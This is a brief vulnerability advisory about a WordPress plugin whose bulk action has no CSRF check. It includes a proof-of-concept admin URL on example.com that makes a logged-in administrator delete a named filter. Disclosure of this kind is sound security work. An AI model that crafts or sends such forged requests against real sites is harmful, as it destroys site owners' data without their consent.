Description The plugin does not have CSRF check in its bulk action, which could allow attackers to make logged in users delete arbitrary filters via CSRF attack, granted they know the related filter slugs
Make a logged in admin open the URL below to make them delete the filter with the slug test1:
https://example.com/wp-admin/admin.php?page=wpf_search&action=delete&paged=1&wpf_post[]=test1&action2=delete
